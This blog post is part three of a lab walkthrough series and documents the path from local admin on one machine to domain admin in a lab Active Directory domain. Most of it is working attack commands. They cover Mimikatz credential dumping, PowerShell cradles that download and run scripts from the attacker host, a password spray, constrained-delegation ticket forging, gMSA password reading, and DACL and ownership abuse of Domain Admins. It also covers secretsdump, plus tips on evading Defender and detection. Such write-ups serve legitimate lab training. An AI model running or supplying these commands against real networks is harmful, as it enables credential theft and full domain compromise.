Home AD Pwnage: Ninja Hackers Academy Part 3
Post
Cancel

AD Pwnage: Ninja Hackers Academy Part 3

Introduction

In the previous one, we pivoted from one machine to another using the GenericAll privileges over a container and then using RBCD to successfully generate a ticket that gave us the keys as Administrator to the WEB$ machine. In this one we are going to see how we can go from there to other machines. The goal here is to reach domain admin in this domain and then do some trust hax and jump to any other forest that there might be (there is. this should have been covered by the reader in the previous posts when we got iniital access to the domain.)

Harvesting Creds

Before going nay further, we will make sure not to lose access. For that I’ll run the same modified Invoke-Mimikatz.ps1 script. I have added the following lines in the end of the script.

1
2
3
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -Command "token::elevate lsadump::sam exit"
Invoke-Mimikatz -Command "token::elevate sekurlsa::ekeys exit"

So using the same command we can dump some hashes.

1
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://192.168.58.50/safedogz.ps1') -UseBasicParsing | iex"

WEB Hashes

Notably, we get the follwoing hashes that we need to save.

1
2
3
Administrator:0c532fcf2046010cb8d38eedf5e45312
frank:d4fad93561dee253398d5891e991a6fb
WEB$:1cee40630bb1fe3f4ae2adfc6e7ec977

With this, we seem to have a user account. One we didn’t have previously. We can try to see what this account can access using this command.

1
netexec smb 192.168.58.0/24 -u frank -H d4fad93561dee253398d5891e991a6fb

Frank Hash

We can use evil-winrm to login to any of these machines and confirm our access.

1
evil-winrm -i 192.168.58.21 -u frank -H d4fad93561dee253398d5891e991a6fb

Frank Web Access

BloodHound to the rescue (again…)

After this, we can try to find something interesting in the machines itself, locating passwords from browsers etc. and such. I have tried it. Couldn’t find anything worth while. We can move over to BloodHound again. We can start by marking assets that we have access to now as owned. Then map a path from the owned principles to other assets in the domain. While doing it for SHARE$ machine, I can see that user frank has a right to delegate to that machine. We can confirm this by using this command.

1
findDelegation.py academy.ninja.lan/frank -hashes d4fad93561dee253398d5891e991a6fb:d4fad93561dee253398d5891e991a6fb -dc-ip 192.168.58.20

List Delegations

This shows us that user frank has Constrained Delegation with Protocol Transition rights for the eventlog service. This can be read about here. As seen here, frank has the rights to the service eventlog. This can be misused by creating a service ticket by using the user frank which will impersonate Administrator to the service eventlog. But we will also provide a diferent service using the altservice flag of CIFS which will help us access the file system or use tools like PSExec or SMBExec. This happens because the service name part of the ticket is not protected so we can change it whatever we like. One thing to note, the original Impacket’s getST.py will not have the option for altservice. You can use this to get the one with this flag.

1
/opt/impacket-getst/examples/getST.py -spn 'eventlog/share' -altservice 'cifs/share' -impersonate Administrator -dc-ip 'academy.ninja.lan' "academy.ninja.lan"/"frank" -hashes d4fad93561dee253398d5891e991a6fb:d4fad93561dee253398d5891e991a6fb

Asking Service Ticket

After this we can export it and see if it works using SMBExec.py

1
2
3
export KRB5CCNAME=Administrator@cifs_share@ACADEMY.NINJA.LAN.ccache

smbexec.py @share -k -no-pass -dc-ip 192.168.58.20 -target-ip 192.168.58.23

Shell on SHARE

On thing to mention, the usual Impacket was immediately getting detected. But for some reason Impacket for Exegol was not. That worked fine. You can find that here. After moving it to our C2, we can look around for some thing interesting. I found a bot.ps1 script that contains the password of frank user.

Frank Password

We can try to spray this password over all the users in the domain to find if we can find another user with this same password.

1
netexec smb 192.168.58.20 -u creds/academy_users.txt -p 'Il0ve!R4men_<3' --continue-on-success

Password Spray

GMSA Dumping

That doesn’t give us much. We can move back to BloodHound to check what we can find. By looking around, we can find that the machine we just got into has the ability to read GMSA password of the gmsaNFS$ machine. This is, as the name suggests, a NFS or a file share account which is a machine account.

GMSANFS$ Path

For this, we would need the machine account hash for SHARE$. After aquiring the hash we can use gMSADumper.py to confirm that SHARE$ can read the password. For some reason it was not dumping the password itself.

1
python /opt/gMSADumper/gMSADumper.py -u SHARE$ -p 791782105dd864621fbbf9e0fbed9fc7:791782105dd864621fbbf9e0fbed9fc7 -d academy.ninja.lan -l dc-ac.academy.ninja.lan

At this point, the default havoc payload was not working. This is my new best friend (lowkey waiting for a discount or a giveaway…). If after access its giving you troubles, you can always remove the defender definitions to make eveything else be nice.

GMSANFS$ Read

We can use this to dump the passwords instead using havoc.

1
dotnet inline-execute /opt/Toolies/GMSAPasswordReader.exe --AccountName gmsaNFS$

And we get the hashes.

Dumped GMSANFS$

ACL Pwning

Having a look in BloodHound we can see that the machine gmsaNFS$ has an ACL ForceChangePassword over the backup user. We can use PowerView to do this.

1
2
3
4
IEX(New-Object Net.WebClient).downloadString('http://192.168.58.50/PowerView.ps1')

$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'backup' -AccountPassword $NewPassword

After this, we canfirm it using netexec

1
netexec smb 192.168.58.20 -u backup -p 'Password123!'

Backup User

Over to the Domain Admin

Back to good ol’ bloodhound. We can see that this user basicallty carries the keys to the domain.

Backup Bloodhound

We can again confirm that using owneredit.py from the ShutDownRepo fork of impacket.

1
/opt/impacket-getst/examples/owneredit.py -action read -target 'Domain Admins' academy.ninja.lan/backup:'Password123!'

We can use this to change the owner of the Domain Admins group to backup as well.

1
/opt/impacket-getst/examples/owneredit.py -action write -new-owner 'backup' -target 'Domain Admins' academy.ninja.lan/backup:'Password123!'

Once that is done we can easily update the user backup to have GenericAll privileges over the Domain Admins group using dacledit.py.

1
dacledit.py -action 'write' -rights 'FullControl' -principal backup  -target 'Domain Admins' 'academy.ninja.lan'/'backup':'Password123!' 

This can again be confirmed using BloodHound dump.

1
bloodhound-python -c all -d academy.ninja.lan -v -u backup -p 'Password123!' -ns 192.168.58.20 --zip

Once that is confirmed, the only thing remaining is really just adding ourselves in the Domain Admins group.

1
net rpc group addmem 'Domain Admins' backup -U academy.ninja.lan/backup -S 192.168.58.20

Confirming it works. Backup Domain Admin

With all this out of the way, we can finally dump the domain secrets using secretsdump.py and pwn the whole domain.

1
impacket-secretsdump 'academy.ninja.lan'/'backup':'Password123!'@192.168.58.20 -dc-ip 192.168.58.20 -outputfile domain


Secrets Dump

Finally, we can log in to the domain controller to confirm.

Domain Admin

This marks the end of the third post with us being the domain administrator in the domain. But the work is not finished. In the next one we will move from this domain to the other domain in the trust relationship. Let me know if I missed or messed up a step. Be happy to help!

This post is licensed under CC BY 4.0 by the author.